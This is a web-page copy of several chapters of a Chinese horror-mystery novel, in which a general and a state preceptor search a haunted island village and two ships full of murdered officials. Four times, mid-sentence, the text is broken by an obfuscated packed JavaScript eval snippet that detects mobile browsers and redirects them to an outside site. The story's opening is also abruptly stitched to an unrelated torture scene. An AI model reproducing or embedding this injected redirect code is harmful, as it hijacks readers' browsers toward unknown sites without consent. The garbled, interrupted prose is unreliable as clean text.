檀妄生依旧看着她的眼睛,烛火在她的瞳孔里轻轻颤动。 当狱卒放下鞭子时,屋内再次归于寂静。他终于因为脱力而缓缓低下了头。他听得见自己心脏正狂乱跳动着,仿佛战争打响前的战鼓。 他能感觉到她正走过来。那是动刑后的第七日。她的耐心已然开始见底,自认为所掌控的局势也在分崩离析,只要她没办法杀了他,最终就会落得这种处境。要比比谁会坚持得更久吗?这里不再是她打造的“茶楼”,摆在面前的只有血淋淋的赌桌。 伤口的刺痛让他不住喘息。他能猜到国师接下来会做些什么,或许他的脸马上就会落下一个新的伤口。不过奖励将会是她撕开亲切的伪装后露出扭曲愤怒的模样。 这预示着他会赢得这场“战争”。 接着,他感觉到一只手轻柔地抚向他的额头,撩开碎发,五指伸进发间,缓缓托起他的头。她俯视着他。他看到她眼里除了平易近人的温和之外,还带着一丝怜惜。就像决裂多年后的爱人荒诞地在地牢里重逢。 檀妄生几乎快要笑出来了。但刑伤的痛苦只能让他略微扯动嘴角,他任由她托着自己的脑袋,第一次主动提起那件事:“国师想知道那个晚上到底发生了什么吗——” 紧接着,他看到了国师那一瞬间流露出的表情。 就和此时的他一模一样。 而萧明灿就像是看穿了他的想法,刻意地停顿了一下,然后说:“……当然,那是假的。” 檀妄生稍挑起眉。 “我们必须见到那个‘孩子’,才能弄清楚这一切。”萧明灿说,“但或许,我们可以让它们主动出现在我们面前。” 他们走在通往荒村的土路上,两侧山林里交叠的树枝遮挡着晨光。空气中飘荡着潮湿的泥土气息,其中夹杂着一丝丝微弱的铁锈味—— 当然,这或许仅仅源自于他们的想象。毕竟这里曾发生过一场可怕的屠杀,而且就在短短几个月之前。冷峭的薄雾浮荡在树干之间和路的尽头。很难不去想那一夜发生的一切。比如人群是如何用尖叫声填满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045877|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了整座山林,比如鲜血是如何喷溅在触目所及的任何地方,又或者他们此刻踩着的泥土是否曾倒着奄奄一息又目露绝望的人。 队伍里的几人全神贯注地盯着四周,时刻准备应对突如其来的袭击。但这里很安静,一道可疑的痕迹也没有,就仿佛怪物只是凭空想象出来的东西。风吹着枯燥的枝干,听起来像是迷失的灵魂在低吟。 “……它们唯一感兴趣的只有同化和饱腹。” 檀妄生把火铳搭在肩上,手指轻轻卡着扳扣,“除了诱饵,我想不到其他的方法了。” “没错,关键就在于食物。”萧明灿走在檀妄生旁边,“它们之所以能潜伏在洞穴长达三年之久,就是因为岛上总是会出现它们想要的食物。” 比如那些因为幻觉而杀死自己的人。影将军的人会把他们的尸体找个地方埋葬,或是放在它们能几乎不太费力就能找到的地方,以防它们因为饿到发狂而试图攻击岛中心。比如山上的野果,以及某种一直生活在岛上的小动物。 “那些和‘孩子’一样的怪物不需要同化别人,它们只需要安稳地待在一个地方,保证自己不会死掉就好。那个洞穴恰好能满足这些条件。”萧明灿说,“但如果失去了维持生命的食物和水,那里就不再是能让它们安居的巢穴,而是安葬它们的坟墓。所以……” 她看着薄雾后隐约显现出轮廓的屋檐。 檀妄生理解了她的意思,“我们这段时间不会离开岛中心半步,也不会让船上那些人白白送死。马上就要入冬了,这里不会再有任何野果生长,能够供所有人饱腹的动物也少得可怜。所以……”他觉得这个想法有些意外,“我们要把它们活活饿出来?” “确切来说,我们会给它们一个比‘巢穴’更稳妥的地方。”萧明灿望着远处的荒村,它们就坐落在坡道下方,“我们会在它们饿到极点的时候给它们食物。虽然我们无法理解这些怪物的起源,但我们起码知道了一点:当它们夺取身体来换取行动的自由时,也会被这副身体所禁锢。” 比如住在荒村边缘的小女孩。每当雨天或深夜时,她就会回到那间曾生活过的屋子里。她会在画像上重新涂抹自己如今的模样,就像那些被遗落在角落里、已经积了几层灰尘的画。那群村民也是如此。它们会像出海数日终于平安归来的人一样疲惫地走进屋中。 官员们和侍卫则漫无目的地游荡在岛上,仿佛是在探寻着什么……很难想象这么做的原因,仿佛是一种本能,又或是被刻进记忆里的习惯所驱使。就好像他们一直活在死前的最后一刻。 “……也许,那些‘孩子’也不例外。如果我们找到他们生前居住的地方,放上足够吸引人的食物。或许它们就会出现。” 萧明灿望着前方。山林随着坡道骤然矮下,微亮的天光在昏暗里撕开一道口子。一间间房屋就伫立在那,破败却整齐利落,杂草和生命力旺盛的藤蔓爬上木栏,那里看起来总有种诡异的和谐感。 而萧明灿的声音就如风般轻和,“对于世代靠出海捕鱼为生的人来说,有什么能比‘回家’更吸引人的呢?” 37. 无声 檀妄生看着她。 她就站在自己身边,披着略微宽松的白色狐裘,肩背挺直,不曾显露出一丝卧床多日的病态。当她望着下方那一排排屋脊时,他试图从那双眼睛里找出点类似于兴奋的情感,哪怕一闪而过。但毫无收获。 他只看到了一如往常的平和,以及几分沉静的庄重。这当中没有一丁点刻意伪装出的浮夸感。仿佛她真的对这座渔村所发生的惨剧感到同情,也对那些逝去的生命深感惋惜。 “……有时我会想,”檀妄生收回目光,望向那片死寂沉沉的村落,说,“如果当初我听了老头子的话,收敛一点,老老实实做个懂礼谦和的臣子,是不是就不会落得今日这种处境了。” “……将军掌握着檀家火铳之术的核心,又是镇守边境的统帅,本就身份特殊。”萧明灿说,“就是要让所有人知道,守护北洛的竟然是个随时会在朝堂上发疯的怪人,他们才会对将军惶恐不安,避之不及,而不是在宫中传些离间君臣的话……所以,” 她似乎认真想了一下,而后道:“在我看来,这恰恰保护了将军,让将军能利用那股只想要命的疯劲在皇上和太傅之间斡旋。” 檀妄生笑了笑,“国师觉得,我是为了保护檀家和手里握着的东西,才会装成一个随心所欲的疯子?” 萧明灿抬起视线,目光轻轻掠向他颈前那道伤疤,“更像是本性使然。” “那国师呢?”檀妄生问,“国师也是本性如此吗?” “将军觉得呢?” “……这个嘛,”檀妄生望向远处,似乎想到了什么,忽然说:“国师知道吗,三年前,当我们刚踏上这座岛时,正好赶上了一年也就只有几次的海雾,你只能看清五步之内的东西。那些怪物在我们登岛后的第二天就出现了,但在浓雾里,我们最初只以为那是只野兽。” 萧明灿听着他的话,说:“野兽远比怪物要好对付得多。” “所以,我们最开始只能住在荒村边缘。”檀妄生回忆着说,“它们在‘保护自己’这方面上很聪明,或者说很识趣。当有官员在岛上寻察时,它们根本不会露面,偶尔会有一两个巡逻官兵失踪的情况,但大多数人会把这推测为不慎坠崖,或是其他意外。他们试图找过同伴,最终一无所获。” 檀妄生朝着前方的村子示意。 “于是,他们看着那些破败的屋子,想起了曾经让世外桃源一样的地方短短一个月内成为废弃荒村的原因。那些鬼怪之说,诅咒,疫病……”他笑着耸耸肩,“当你看到这种地方,总是会不由自主地想象这里是不是真的会有那种拉人陪葬的怨鬼。而当这种‘偶尔无端失踪也找不到尸体’的意外发生到第四次时,他们就放弃了登岛。” 萧明灿知道这一点。毕竟那时根本没人会想象到世上还有这种怪物存在,更不会联想到那次爆发的营啸竟和渔岛那场“瘟疫”有关。对于周围海上巡哨的官兵来说,它只是座普通又险峻的无人荒岛。 檀妄生说:“那些官兵只是坐船在海岛附近巡视一圈,确保没遇到什么可疑船只出现、那里不会成为水匪的窝点,就算完成了任务。” 萧明灿温和地倾听着。 “所以,这就导致了,他们给我们的海岛村落分布图就像是敌人调包后送来的‘陷阱’一样——几乎图上标注出的所有能进入的洞穴、看起来很坚固的屋子,都是那群怪物的巢穴。我们为此折了不少人。” 檀妄生对萧明灿说:“我们当时被浓雾困在了海岛边缘的屋子里,那地方简直破烂不堪,怪物稍一用力就能撞开房门,而且又没办法种菜和养猪。所以,哪怕那几天浓雾不断,我们也必须尽快动身,去找到适合生活的地方。” 萧明灿缓缓点了点头,“就像前两批押送队伍一样。” 檀妄生说:“我们花了整整两个月的时间才摸清那附近的洞穴,哪些地方难以踏足,哪些地方需要毁掉,以防怪物藏身。以及,哪些地方适合当作引诱怪物的陷阱。” 他们走下坡道旁的石阶。萧明灿看着两侧破败的房屋,这里曾是怪物在黑夜里偷偷栖息的巢穴,发生过数次鲜血四溅的围杀,尖叫声在沉重的院墙间回荡,留下难以褪去的暗红色痕迹。而如今,这里连老鼠跑窜的影子都没有,只有几扇破损的房门随风轻轻摆动,像是几缕不愿离开的残魂。 “这就是乐趣所在。” 萧明灿听着他说道,忽然觉得这有点像在听主人兴致蛊然地介绍自家府邸。 “最开始,你的眼前只有一层迷雾,你什么也看不清,更不知道往前走会发生什么。于是,你会从眼前的一些微小的细节开始着手。比如第四步的石头,这意味着不远处会是断崖。比如第十步的血迹,你知道有怪物不慎受伤,并且夜里还在这附近游荡过。” 他拎着火铳,稍稍放缓了步子,等着国师。 “你一步步走下去,试图拨开迷雾,也许下一步就是断崖,又或是误闯进怪物的老巢。但也许下一步就能发现几间没那么破败的屋子,旁边兴许还有村民留下的沃土……”他微笑着耸肩,“谁知道呢?这就像是探寻宝藏,又或是一场场开拓疆土的战争,无论过程还是结果,都足够吸引人。” “……所以,这就是我在将军眼中的样子吗?”萧明灿好奇地看着他,“就像一座充满未知和危险的海岛?” “不,”檀妄生嘴角上扬笑了笑,“我想说的是,国师是一个有趣的人。” 他们穿过坐落半山的荒村,走下一段不算长的石阶。两侧山上的树木逐渐变得干瘦、枯燥,尖细的树枝伸向四周,像是话本里那种被异怪吸走了魂魄的干尸,最边缘的那片房屋亦是如此。天色渐渐转亮,苍灰色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054030|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日光映着那些布满铁弹和刀痕的墙壁。 在他们经过时,一块断裂的瓦片从屋顶滑落,压塌了缝隙里长出的杂草。 “……但那些怪物会拖走食物。”檀妄生打量着周围,忽然提起了那个计划,“它们虽然习惯性地游荡在这,但也因此丧命了不少‘人’,即便再怎么把这种习惯刻进本能,在‘保护性命’面前,它们也不会过来,尤其是那些生命至上的‘孩子’。哪怕饿到了极致,只要有一个同类活着,说不定就会把食物带走,送到某个巢穴里。” “那就让它们带不走。”萧明灿拢着狐裘,“这很简单,我们只需要一些很容易倾洒的食物,比如装在盘子里的菜,或者是一小碗粥。它们选择的洞穴大都陡峭狭窄,以它们攀登的速度,很容易让饭菜倾洒。” 几人闻言下意识看向屋子。几乎每一家都会选择把桌子放在窗边。透过断裂的木窗,能看到桌上来不及收拾的碗筷、积了灰的茶盏,又或是几册话本、破旧的渔网,它们定格在沾着血迹的窗框里,像是一幅幅古老的画。 “人不吃饭可以活多久,六天?七天?”萧明灿平静地说:“也许它们在某些方面的确异于常人,但最多不会超过十五天。十五天,我们就有机会让那些怪物走出巢穴。比起漫无目的或损失人手去寻找洞穴,这个计划对我们来说已经足够划算。” 檀妄生仔细想了想,说:“我们发现那个洞穴的时候,它们的‘食物’的确已经所剩无几。看来,只要我们大致弄清那几个‘孩子’生前住的地方,应该就行……” 他话音渐渐弱了下去,微微侧头,看向山上的枯树,食指始终搭着扳扣。 言生也注意到了什么,皱眉瞄了一眼旁边的小径,“……没错,我们找到洞穴时,那群怪物正在吃最后的那具……如今洞穴已经被我们摧毁,又过了两天,按理说,它们应该会选择出来觅食……可为什么今夜这么安静?还是在这种薄雾天里……一只也没有?” 身后的枯树丛隐约传来轻微的沙沙声。萧明灿没有回头。那是潜藏在林子里负责保护檀妄生的部下。而他们的存在恰巧也说明了林中的确没有任何可疑人影。 没有人说话。几人不约而同加快了速度。冷风呼啸着迎面吹过,支在木栏边的铁锹倾倒,砸向旁边一摞烧火用的木棍。他们没有理会这点预兆般的阻拦,跨过滚落眼前的木棍,穿过曾被鲜血染红的石板路,走出荒村。 仍旧一片安静。 附近的枯树渐渐被礁石取代,海浪声和风声撞在一起。不远处,两艘足有三层楼高的战船停在岸边……不,准确来说,是停在海岛附近。因为怪物的原因,他们尽力远离了海岸,停在浅海里。 船灯在苍白的天色下闪着暗淡红光。 今日是“五日期限”的最后一天。 船上空无一人。 38. 鬼船 “……这其实很像话本里的情节。被浓云遮挡的日光,海面升起的薄雾,两艘随着海浪沉浮的空船,以及一片死寂。” 他们站在岸边,狂风贴着地面呼啸,扫过沙粒和枯骨般苍白的岩石。檀妄生抬起一手,在眼前比作画的一角,说:“如果现在有人在看着这个话本的话,肯定会尖叫着大喊:‘别去那里,赶紧跑——’。” 言生和几个随从分散着走向海滩,试图看看能不能找到些蛛丝马迹。萧明灿仍站在原地,说:“和那些恐怖话本不同的是,我们不仅不能回去,还要登上那艘船。” 檀妄生放下手,十分理解地点了点头,“当然,毕竟这是这座荒岛的生存方法,‘在惨烈的伤亡里找到线索’。” “——没有任何痕迹。”言生快步走过来,摇摇头,“血迹、刀鞘、或者拖行打斗的痕迹,都没有。” “他们没有登岛过。”另一个眼上带着刀疤的随从说,“至少,他们没有从这里登岛。沙子上的脚印可以被海水掩盖,但附近的杂草地里不可能一点血迹也没有……”他再次看向那艘船,补充道:“如果他们真的在里面遭遇了不测的话。” “国师觉得呢?”檀妄生问,“他们有没有可能会像上次那样用木船偷偷登岛?” 萧明灿想了想,说:“木船上的人有去无回,他们又对岛上的情况一无所知,沈将军做事更偏向谨慎,应该不会再冒然派人登岛。况且,这已经是约定的第五天了,就算他们心急如焚,也一定会等‘期限’过了再做决定。” “所以,他们还在船上。”言生看向几扇木窗,“那里还点着几盏烛灯……至少,他们几个时辰前还在那里。” 身后的枯树丛里人影晃动,似乎也在试着寻找值得留意的踪迹,但始终没有一个人来汇报消息。这不是个好兆头。那些怪物不会聪明到连脚印都要刻意隐藏,而船上的人也不可能在陌生的地方完美地遮掩行踪。他们都知道接下来该做什么,可谁也没有说话。萧明灿也是如此。 她只是静静地立在原地,看着周围朦胧的海雾,思索着什么。 檀妄生把长管铳搭在肩上,懒洋洋地望着那两艘空船,“……我猜,国师现在一定在怀疑,这都是我搞的鬼。” “只是觉得有些奇怪。”萧明灿说,“我们靠岸的第一日,将军就把自己人留在了那两艘船上,按理说,如果船上真的混入了怪物,他应该会提醒船上的其他人。即使到最后就像第二批押送队伍那样爆发了混乱,船上也配有传递消息用的烟火。哪怕有一个人活着,我们就能在岛中心得知情况。” 缓缓浮动的海雾里,甲板上的船灯看起来就像小鬼们一眨一眨的眼睛。 萧明灿说:“但什么也没有发生,没有活人,没有血迹,没有尸体,更没有怪物的尖叫。” “也许他们对我的人做了什么。” 檀妄生稍一偏头,分散潜在暗处的几人从林中走出,解下挂着一排暗器和佩刀的腰带,然后脱掉外衣和靴子,只留着绑在腿侧的匕首革套,大步走向海边。 同时,他说:“毕竟他们人多势众,都能擅自用那只小木船登岛,未必不能做些其他更意想不到的事。” 言生站在萧明灿身侧,低声道:“又或许,是他们相信了他的话。” 檀妄生耸耸肩,似乎对这种指控感到无辜和冤枉,“相信我,如果真是那样的话,大人一定会对此感到无比庆幸。” 言生拧紧眉头。 檀妄生笑了笑,往前走着,声音依旧带着那种不以为然的懒散,“如果国师不登上那艘船,就会一直怀疑,船上发生的那些惨祸会不会是我一手操控所致。可国师如果亲自登船,就会意识到,那场惨祸还不如是我造成的。” 言生的目光始终紧盯着那两艘船。她听着影将军的话,感觉到一种难以言喻的不安正从脚底升起,如同藤蔓般一点点缠裹上来,就像那些沉浮在船体周围的雾气。比起影将军口中那半开玩笑似的威胁,真正令她感到心惊的是,她也下意识地断定那艘船一定已经发生了某种惨祸。 她知道,在场的所有人都会这么认为。那两艘船如今就像是两座巨大的坟墓,埋葬着五日前还在互相交谈的同伴。 檀妄生稍微侧身,看向萧明灿,那似乎是个邀请的动作,“因为那里发生的一切恐怕远比国师见到的任何惨烈场面更加血腥,更让人难以接受。” 因为那是怪物的手笔? 因为它们对于残暴、恐惧、血肉横飞的造诣远高于人之上? 萧明灿走向海边,说:“听起来像是一出戏剧的预告。” 远处,之前几个随从已经顺着船桨爬上了甲板。他们沿着甲板走了几圈,接着放下了一只备用的小木船。天边浓云翻涌,日光始终在微亮与暗淡之间反复交替,像是在某处溺水挣扎。他们乘着木船靠近船体,接着用绳索登上甲板。寒风吹荡着周围的灯笼,这里只有海风的味道,没有一丝血腥的气息。 萧明灿望向周围,正如先前登上这里的那两个随从看到的一样,这里空空如也,没有人,没有武器,也没有任何发生过打斗的痕迹。 言生走向甲板另一侧,“……甲板上每时每刻都会有人驻守。赶路的时候就是这样,如今被迫停靠在这,他们更不可能无缘无故擅自离守。就算有事,也至少会安排三到四个人守在这里。这是命令。” 之前跟在檀妄生身后的那个大块头随从道:“也许是遇到了什么麻烦,让他们必须先把那个麻烦放到第一位。” 言生看向停泊在百步外的另一艘船,那里也依旧空无一人,“两艘船都是这样?” 檀妄生看向周围的横栏,那上面没有任何不该出现的刀痕,角落里也没有什么不慎遗留的血迹。尽管他们不愿意承认,但这里的确没有发生过任何打斗。至少,甲板上没有。 “他们没有用那些烟火。”萧明灿正蹲在一个木箱旁,里面至少放着十束烟火,“他们把这东西抬出来备用,但却没有用它,这里一共十五束,不多不少。” “……看来,无论那个麻烦是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058707|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,他们自始至终都不曾认为那会危险到让他们传信的程度。”檀妄生慢慢地打量四周,比起探查情势,那更像是在观赏这艘战船的构造。他抬起手,触向船桅上的祥云纹路,随口问:“国师觉得,会和怪物有关吗?” “很难说。”萧明灿走向距离自己最近的房间,“这里的水虽算不上汹涌,但以它们那副身躯,就算能从岸边游过来,也一定会被守在这里的人发现。” 她目光扫向那一层门窗禁闭的房间,顿了顿,又道:“但如果不是怪物,他们为什么会全部离开甲板?” 究竟是什么意外,会在两艘船上同时发生?虽然棘手到要召集全部侍卫,但却没有危险到需要向国师传信? “……好消息是,”檀妄生走到第一间房前,稍微抬起火铳,期待地说:“谜题的答案很快就揭晓了。” 他一脚踹开房门,门闩骤然崩断,房门磕到墙壁时微微回弹了一下。檀妄生抬手撑住。紧接着,一股浓烈到刺鼻的香气扑面而来。那是官员们自带的安神香。地上摆满了十几个香炉,大概用了足有三个月的量,以至于连檀妄生都被这味道熏得稍微后退了半步。但他的食指始终搭着扳扣。 屋内一片寂静。 两个官员正躺在各自的床上,身上穿着一件单薄的中衣,盖着被子,面色惨白却平静,就好像他们在睡梦里安然死去了一样。如果忽略墙上大量的血迹和他们空荡荡的下半身的话。 就像是把无数砚台砸向了四周,大片大片的鲜血在墙面炸开,形成密密麻麻又相互交叠的血点。墙上,屋顶,地面,斑驳血腥。一道拖拽似的痕迹从两人的床上一直延伸到房门,但却在距离房门只有一步之遥时骤然中断,就好像那里有一道无形的墙。 “……他们被重新拖回到了床上。”檀妄生说,“然后做出仰躺的姿势,盖上被子,双手搭在身侧,摆出安详入睡的表情。” 言生道:“为什么要这么做……” 他们扫向四周,满目的血腥,但却没有任何打斗的痕迹……或者说,没有任何东西因为挣扎被打翻的痕迹。香炉端正地摆在血地上,房间正中央的桌椅完好无损,上面还放着吃完的饭菜。鲜血溅在还剩一半的白糕上,像是雪里绽放的红梅。 言生想要说些什么,萧明灿忽然转身走出房间,不等檀妄生跟上,她便抽出腰间匕首,从门缝里挑开门闩。她看了眼屋中的景象,接着又挑开下一个门闩,然后又是另一间。 檀妄生跟在国师身后,没有阻拦,也没有疑问,就这么默默地跟着她推开第七间房门,然后停了下来。 每一个房间的桌子上都摆着东西,倒扣的书,被拿出托盘的茶盏,满满一碗、还没来得及吃的饭菜,还有两把随手放在桌上的剑。 “瘟疫……” 萧明灿说:“这是渔村经历‘瘟疫’时的场景……不,是那些村民将要离开时的场景。” “它们在……”言生心里一沉。 萧明灿说:“它们在重演渔村那场‘瘟疫’。” 39. 吊诡 一整层的房间都是这样。 那些官员和侍从都呆在自己的屋中。有的人坐在椅子里,握着面前的茶杯,稍稍低头,神情平静,就像是在和对面人商谈着什么。 有的坐在地上,僵硬的身体靠两根不知从哪找来的木棍撑着。他面前摆着个打开的木箱,里面放着出行数月所需的衣裳和干粮。他一手扒着边缘,一手抓着箱里的外衣,而其余的衣裳散落在地,看起来像是在匆匆收拾行李。 有的则紧扣着身侧扶手,脖子被麻绳固定在椅背上,做出偏头望窗的姿势,眉头紧拧,眼神浑浊,就像—— “就像意识到,自己最终还是不得不离开这个生活了一辈子的家一样。”萧明灿说道。 屋内烛火昏暗。檀妄生瞥了那官员的尸体一眼,目光落在桌上那满杯的茶盏。他把火铳换到左手,拎起茶壶,不紧不慢地给自己另倒了杯茶,喝了一口,“还温着呢。两个时辰之前,他们一定还活着。” 言生看着满屋的狰狞血迹,“这简直就像是一桩离奇的灭门案。” “又或是经由孩子之手所作的一幅幅画像。”檀妄生拿起茶壶边放着的一小盒茶叶,打开瞧了眼,随手抛给守在门边的随从,“怪异、拙劣、邪恶,但总透着一点无知的懵懂。” 那个大块头面无表情地把茶盒收进兜里。 “……画?” 言生后退几步出了房门。每一间房门都大开着,各种安神香和血锈味混杂在一起,又随风飘出,奇异地组成了一股熟悉到令人不安的味道。如果哪个镇子里爆发了疫病,走进那些安置重症的医馆,就会闻到这种气味——浓烈的香里缠绕着将死之人散出的腐气。 言生下意识看向远处另一艘战船。另一伙人已经登上了甲板,此刻正用刀挑开门闩。距离太远,又有海雾遮挡,她看不太清他们手上的动作,但从一群人聚在房门口来看,屋里的情况应该和这儿差不多。 她心下思量,面色未变,就这么不知不觉中经过了几间房,忽然停下脚步。 ……没错,这的确更像是一幅“画”。 如果把每扇房门当作画布来看的话,站在门外不同位置朝里看,就能看见以官员们为中心的“画”:或看窗或交谈,又或是安然入睡,幽幽烛火照着那些惨白的脸,墙上风干的血迹有的像日落后留下的漫天霞光,有的像夜里林中摇曳的树影。 “……它们是怎么做到的?” 旁边屋子里,萧明灿端起官员身前的茶盏,指腹触着尚有余温的杯面,“两个时辰前,他们当中大多数人还没有睡觉。看书,喝茶,或是吃饭。这里的墙不算厚,就算当时甲板上无人驻守,但如果那些怪物想进来伤人,也一定会弄出动静引人察觉。难道他们会乖乖地等着被杀吗?” “所以动手的,一定是他们非常信任的人。” 檀妄生非常有礼地朝萧明灿伸手,接过递来的匕首,然后挑开捆着官员脖子上的麻绳。那官员僵硬的身子直直往桌上砸,茶盏滚着圈落地,在寂静里发出一声清脆的裂响。他自后从那官员的后脑一路往下看,最终用匕首指了指靠近后腰的位置。 “从后面一剑穿心,干脆利落。”他说,“这些人还没来得及喊出声,就断气了。” 萧明灿看着那道一指宽的刀口。因为尸体被反复拖动的缘故,导致那被割破的衣料又裂开了点,露出里边血淋淋的伤口,和周边惨白的皮肤,像是半阖的鬼眼。从这伤来看,的确能看出行凶者刀法干净利落,但把血抹掉再仔细瞧,就会发现伤口边缘还有些细小的割伤,像是发觉一次没捅个对穿,又连续深捅了几刀。 “知道该往哪里捅更容易要人命,但却没办法做到一击致命。明明这几个官员压根就没防备他们。”檀妄生用手虚量了下那伤口,说:“看来,这人对刀法并不精通,更像是照模学样的把戏。是那些怪物的手笔。” 萧明灿走向墙边那张床,另一个官员就坐在床上,身子脱力般斜靠在床头,头发凌乱,丝丝缕缕盖住了脸。血一直从他颈部的割口往下淌,将床面浸了个透,就像刚从海里捞上来似的。 她看着他满脸的血点,又看了眼身后伏在桌上的海防大夫,说:“他亲眼目睹了陈户的死亡。那人从陈户身后拔刀时,血溅了他一身。但紧接着,还没来得及反应,就被那人顺手一刀杀了。” 檀妄生走近几步,吊儿郎当地俯下身,从侧面打量着那人脖子上的伤,“嗯……的确是从正面割开的伤口。但这伤深可见骨,如果站在正面动手,一定会被溅上血。一艘停泊在浅海的船上,什么情况下会有人把自己弄得半身是血?按常理来说,那个怪物如果顶着这身血去下个房间,必然会引人警觉。” “但船外面不仅没有任何打斗的痕迹,其他屋子里也没有。”他直起身,看向萧明灿,“只有两种可能。” 萧明灿沉吟着看向四周。几个正要去二层探查的部下从房间经过。她说:“不是因为怪物数量多的原因。这一层东西两面共有二十间房,这艘船没有靠过岸,也没有人上过岛,船上还有将军的人提醒他们分辨怪物。先不提怪物是怎么进来的,就算船上有人被怪物同化,也不可能多到需要一间房进一个怪物的程度。” 檀妄生点了点头,也是这么想的,“他可以把刀上的血抹干净,但却没法在短时间内换身衣服。所以,那些怪物是带着血迹进来的。那么,就只剩下第二种可能了。在他们死之前,船上发生了什么……” 萧明灿说:“事故。” 没错,事故。 她看了眼那两个官员,走出房间。一整排的房门随着冷风缓缓扇动,像是屋内有人在招手。她走了几步,推开房门,扫向两个倒地的官员,再推开房门,接着又是一间。檀妄生跟在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073627|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后。他能听到二楼房门被打开的声音,和轻轻回荡的脚步声,血腥味又浓了一些,上面的情况和下面没什么不同。周围一片死寂,没有人交谈。 不知推开了第几间房门,她看了眼同样坐在床上的人,接着看向站在柜子前的官员,终于停下脚步。 与其说那个官员站着,倒不如说是被吊在柜子面前——他双手撑在柜面上,下方的木屉被拉开,接着从他颈前伤口里淅淅沥沥淌下来的血。一根麻绳缠着他的脖子,紧紧嵌入那道伤口,让他看起来像是被一根绳子当场斩首。另一端则系在顶部的悬架上,用以撑着他颓软的身体。 檀妄生抽出被泡在血里书册,翻了几页,发现那是记录船队随行人员所住房间的名册。 “出海的这段时日里,因为有事情要商讨,他们常常会三两个聚在一间房或甲板上。”萧明灿说,“今日是五日期限的最后一天,他们却只能停在岛外等着消息,以他们的性子,一定会聚在一起想办法登岛或给皇城传消息。” 檀妄生摆弄似的翻着名册,接话说:“就像那艘试着登岛的小木船一样。” “但他们却回到了各自的屋子里。”萧明灿看向房门,“因为突然出现了什么紧急情况,让他们必须回到屋子里等消息……或者等这场危机过去。这也解释了甲板上为什么连一个侍卫都没有。因为所有侍卫都在处理那个‘紧急情况’。” 檀妄生看向桌上的饭菜,他们回房后并没有睡觉,而是在做其他事情,这也证明了这一点。 檀妄生合上名册,似乎终于发现了点有趣的事,看向萧明灿,“……所以,来猜猜看,能让官员信任到就算浑身沾着血也没有起疑的会是谁?” 萧明灿说:“那些侍卫的房间就在下层的——” 她目光略过檀妄生,看向地上那道门闩。 如果那些怪物真的在杀人后就离开了的话,那么又是谁把门从里面锁死的呢? 二层传来一声撞响。 檀妄生回过头。 海上的雾不知何时又浓了一些。今天绝不是离开岛中心的好日子。远处的战船在雾里模糊成了一道庞大的轮廓,仿佛巨兽漆黑的喉咙。一道身影翻出二层,从“喉咙”里一坠而下,后背撞上木栏,发出清脆的骨裂声,接着跌进了海里。 海浪餍足地拍打着船体。 檀妄生大步走向房门。萧明灿扶上腰间匕首,在迈步时无意间瞥向木桌。 那铜镜就摆在桌面上。 透过泛黄扭曲的镜面,她能看到有团黑影正从她背后的床底爬出,手脚并用,姿势怪异。那仅仅是眨眼间发生的事。 下一瞬,那团黑影野狗般扑了过来。 萧明灿回过头,只来得及看到一个披头散发的血人,和缕缕黑发下一张被血糊满的脸。 然后,她看到了他手里扬起的刀。 40. 脆弱 哐当—— 刀锋劈翻了木椅,那人腾空的身体紧跟着落地,打着滑撞向桌子,桌面倾倒,阴差阳错挡住了从门□□来的铁弹。 崩断的尖刺扎进了肋部,他浑然不觉疼痛,几乎在落地的瞬间就爬起来。他抬起刀,刀面刚从桌边露出,就被铁弹打飞。他因此踉跄了一下,虎口被割伤,但速度却不减半分,就这么空着手扑向一旁刚刚站稳的萧明灿。 两次心跳的时间。 萧明灿抬刀格挡,匕首刺进了他的胸口,撞力让两人齐齐摔在地上。一股刺痛来袭。萧明灿看到了上方那双被发丝粘住的眼睛。他正直直盯着自己,眼珠血丝遍布,像是浑浊的蛛网,又仿佛被注入了一汪泥水。 他一点一点把脸往下压,几乎占据了她全部视线。她的耳边一阵嗡鸣,只剩下—— 咚。咚。咚。 三次心跳的时间。 